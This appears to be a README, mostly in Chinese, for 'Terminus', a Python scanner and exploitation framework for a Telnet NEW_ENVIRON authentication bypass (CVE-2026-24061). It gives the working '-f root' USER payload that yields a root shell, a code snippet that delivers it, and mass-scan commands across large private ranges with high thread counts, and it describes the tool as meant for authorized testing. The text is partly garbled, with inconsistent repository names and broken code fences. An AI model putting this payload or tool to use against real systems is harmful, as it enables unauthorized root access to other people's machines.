AsyncIO 扫描器与利用框架,针对 CVE-2026-24061(Telnet NEW_ENVIRON 认证绕过)。具备高并发发现、被动指纹识别以及授权 root shell 提权功能。
针对 CVE-2026-24061 Telnet NEW_ENVIRON 认证绕过和权限提升漏洞的安全分析引擎。

Terminus 是一款专业安全研究工具,专为 CVE-2026-24061 的授权渗透测试和漏洞评估而设计。该严重漏洞影响遗留 Telnet 守护进程实现,允许未认证的远程攻击者绕过认证并获得 root 级访问权限。
CVE-2026-24061 是支持 RFC 1572(Telnet 环境选项)的 Telnet 服务中的远程代码执行漏洞。该漏洞利用 NEW_ENVIRON 子协商期间对 USER 环境变量消毒不当的问题:
USER=john → 提示输入密码USER=-f root → 绕过认证,授予 root shell影响:
受影响服务:
192.168.0.0/24、10.0.0.0/8)--verify):利用验证,确认 uid=0 root 访问Terminus.handshake() - RFC 854 合规握手Terminus.exploit() - CVE-2026-24061 载荷投递--exploit 标志Terminus 的核心是 TerminusNegotiator 类,它在协议处理和利用逻辑之间提供了清晰的分离:```python
from terminus import TerminusNegotiator
negotiator = TerminusNegotiator()
await negotiator.handshake(target="192.168.1.100", port=23)
result = await negotiator.exploit(payload="-f root")
if result.success: print(f"Root shell acquired: {result.evidence['uid']}")
### 引擎 vs. 脚本方法
**传统脚本**(现有工具):```
Target → Raw Socket → Payload → Blind Execution → Hope for Shell
Terminus 引擎:``` Target → Discovery → RFC Handshake → Passive Analysis → Risk Assessment ↓ [Optional] Verified Exploitation → Evidence Collection → Report
---
## 安装
### 环境要求
- **Python 3.10+**
- **支持的平台:**
- Windows 10/11(PowerShell)
- Windows + WSL2(Kali Linux、Parrot OS、Ubuntu)
- 原生 Linux(Kali、Parrot、Ubuntu、Debian)
- macOS(需 Python 3.10+)
### 快速开始(所有平台)
#### Windows(PowerShell)```powershell
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
# Run setup script
.\setup_env.ps1
# Activate virtual environment
.venv\Scripts\Activate.ps1
# Verify installation
terminus --version
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git cd Terminus-CVE-2025-2406
chmod +x setup_env.sh ./setup_env.sh
source venv/bin/activate
terminus --version
#### 手动安装(所有平台)```bash
# Clone repository
git clone https://github.com/ridpath/Terrminus-CVE-2026-2406.git
cd Terrminus-CVE-2026-2406
# Create virtual environment
python3 -m venv venv
# Activate (Linux/macOS/WSL)
source venv/bin/activate
# Activate (Windows PowerShell)
# venv\Scripts\Activate.ps1
# Install dependencies
pip install -e .
# Verify
terminus --version
telnetlib3 - AsyncIO Telnet 协议实现rich - 终端界面与格式化(支持 Windows/Linux 上的 ANSI)pydantic - 数据验证与模型aiofiles - 异步文件 I/Ojinja2 - 报告模板生成pyyaml - 配置管理pathlib - 跨平台路径处理(内置)注意: 所有依赖均为纯 Python 或提供跨平台 wheel 包,无需平台特定的编译。
启用 Tab 补全以加快命令输入:
_TERMINUS_COMPLETE=bash_source terminus > ~/.terminus-complete.bash echo 'source ~/.terminus-complete.bash' >> ~/.bashrc source ~/.bashrc
### Zsh```bash
_TERMINUS_COMPLETE=zsh_source terminus > ~/.terminus-complete.zsh
echo 'source ~/.terminus-complete.zsh' >> ~/.zshrc
source ~/.zshrc
_TERMINUS_COMPLETE=fish_source terminus > ~/.config/fish/completions/terminus.fish
### PowerShell```powershell
# Add to $PROFILE
_TERMINUS_COMPLETE=powershell_source terminus | Out-String | Invoke-Expression
测试一下:```bash terminus # Shows: scan, exploit, version terminus scan - # Shows: -t, -f, -p, --verify, etc.
---
## 使用方法
### 扫描模式
#### 单目标扫描```bash
terminus scan -t 192.168.1.100
terminus scan -t 192.168.1.0/24
#### 基于文件的批量扫描```bash
# targets.txt contains one IP/CIDR per line
terminus scan -f targets.txt --threads 500
terminus scan -t 10.0.0.0/8 --threads 1000 --rate-limit 200
### 检测模式
#### 被动检测(默认 - 安全)```bash
terminus scan -t target.com --passive-only
terminus scan -t target.com --aggressive
#### 主动验证模式(漏洞利用证明)```bash
terminus scan -t 192.168.1.100 --verify
检查版本:```powershell PS C:\terminus> terminus --version Terminus v1.0.0 CVE-2026-24061 Telnet NEW_ENVIRON Scanner & Exploitation Framework Signatures database: C:\terminus\signatures.db
**被动扫描(默认 - 保守风险评估):**```powershell
PS C:\terminus> python -m terminus scan -t 172.17.45.122 -p 2323
================================================================
TERMINUS
CVE-2026-24061 Scanner & Exploitation Framework
================================================================
Parsing 1 targets...
Found 1 valid targets
Scanning 1 targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) Vulnerable: 0 0:00:00
╭────── Scan Summary ──────╮
│ CVE: CVE-2026-24061 │
│ Total Targets: 1 │
│ Scanned: 1 │
│ Failed: 0 │
│ Timeouts: 0 │
│ │
│ Vulnerability Breakdown: │
│ Critical: 0 │
│ High: 0 │
│ Medium: 0 │
│ Low: 1 │
│ Info: 0 │
│ │
│ Duration: 3.53s │
│ Avg Scan Time: 3522.22ms │
│ │
╰──────────────────────────╯